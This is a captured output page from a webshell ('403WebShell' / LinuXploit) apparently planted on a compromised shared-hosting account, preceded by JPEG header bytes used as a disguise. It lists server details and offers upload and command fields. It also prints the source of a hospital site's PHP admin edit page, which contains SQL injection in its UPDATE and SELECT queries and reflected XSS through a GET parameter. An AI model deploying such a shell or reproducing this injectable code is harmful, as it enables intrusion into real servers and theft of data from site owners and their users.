JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.243  /  Your IP : 216.73.216.142
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/bersih/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/bersih/admin//halaman-edit.php
<?php 
// menghubungkan dengan koneksi
include "../config/koneksi.php";
// mengaktifkan session php
session_start();
if($_SESSION['status'] !="login"){
header("location:../");
}

//Update Halaman
if(isset($_POST['judul'])){
	$id=$_POST['id']; 
	$judul=htmlentities($_POST['judul']);
	$deskripsi=$_POST['deskripsi'];
	$status=$_POST['status'];
	$update=mysqli_query($koneksi, "UPDATE halaman  SET judul='$judul', deskripsi='$deskripsi', status='$status' WHERE id='$id'");	
	if($update){
		header("location:halaman-list.php?pesan=Update halaman berhasil, selamat");
	}else{
		header("location:halaman-list.php?pesan=Update halaman gagal, coba lagi");
	}
}else{
	unset($_POST['judul']);
}

?>
<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">
<head>
    <title>Suba Hospital | Tambah Halaman</title>
    <!-- Custom fonts for this template-->
  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">

  <!-- Custom styles for this template-->
  <link href="css/sb-admin-2.min.css" rel="stylesheet">
  
  <!-- Custom styles for this page -->
  <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">
  
   <!-- Tiny MCE -->
  <script src="vendor/tinymce/tinymce.min.js"></script>
  
  <script type='text/javascript'> 
	tinymce.init({
  selector: 'textarea#exampleTextarea'
  
});
  </script>
</head>
<body id="page-top">
<!-- Page Wrapper -->
  <div id="wrapper">
  	<?php include "sidebar.php"; ?>
    <!-- Content Wrapper -->
    <div id="content-wrapper" class="d-flex flex-column">
      <!-- Main Content -->
      <div id="content">
      <?php include "topbar.php";?>
      	<!-- Begin Page Content -->
        <div class="container-fluid">
          <!-- DataTales Example -->
          <div class="card shadow mb-4">
            <div class="card-header py-3">
              <h6 class="m-0 font-weight-bold text-primary">Edit Halaman</h6>
            </div>
            <?php 
            if(isset($_GET['pesan'])){
                echo '<i class="fas fa-info-circle"></i> '.$_GET['pesan'].'';
            }
            ?>
            <br/>
            <div class="card-body">
              <div class="table-responsive">
              <?php 
			  //menjalankan query
				$id = $_GET['id'];
				$sqlhal = mysqli_query($koneksi, "select * from halaman WHERE id='$id'");
				//menampilkan data
				$rowhal = mysqli_fetch_array($sqlhal);
			  ?>
               <form class="user" action="halaman-edit.php" method="post">
                    <div class="form-group">
                      <input type="text" name="judul" class="form-control" id="exampleInputJudul" value="<?php echo $rowhal['judul'];?>" placeholder="Judul Halaman...">
                    </div>
                    <div class="form-group">
                      <textarea style="height:300px;" name="deskripsi" class="form-control" id="exampleTextarea" placeholder="Deskripsi halaman"><?php echo $rowhal['deskripsi'];?></textarea>
                    </div>
                    <div class="form-group">
                    <label>Status</label>
                      <select style="width:200px;" class="form-control" id="exampleStatus" name="status">
                      	<?php if($rowhal['status']==0){ ?>
                      	<option value="0" selected>Draft</option>
                        <option value="1">Published</option>
                        <?php }else{ ?>
                        <option value="0">Draft</option>
                        <option value="1" selected>Published</option>
                        <?php } ?>
                      </select>
                    </div>
                    <div class="form-group">
                    <input type="hidden" name="id" value="<?php echo $rowhal['id']?>">
                    <button style="width:200px; float:right;" class="btn btn-primary btn-block">
                      Update
                    </button>
                    </div>
                </form>
              </div>
            </div>
          </div>     
 		</div>
         <!-- End Page Content -->
      </div>
      <!-- End Content Wrapper -->
     <?php include "footer.php";?>

    </div>
    <!-- End Main Content -->
    </div>
    <!-- End Page Wrapper -->
   <!-- Bootstrap core JavaScript-->
  <script src="vendor/jquery/jquery.min.js"></script>
  <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

  <!-- Core plugin JavaScript-->
  <script src="vendor/jquery-easing/jquery.easing.min.js"></script>

  <!-- Custom scripts for all pages-->
  <script src="js/sb-admin-2.min.js"></script>

  <!-- Page level plugins -->
  <script src="vendor/datatables/jquery.dataTables.min.js"></script>
  <script src="vendor/datatables/dataTables.bootstrap4.min.js"></script>

  <!-- Page level custom scripts -->
  <script src="js/demo/datatables-demo.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit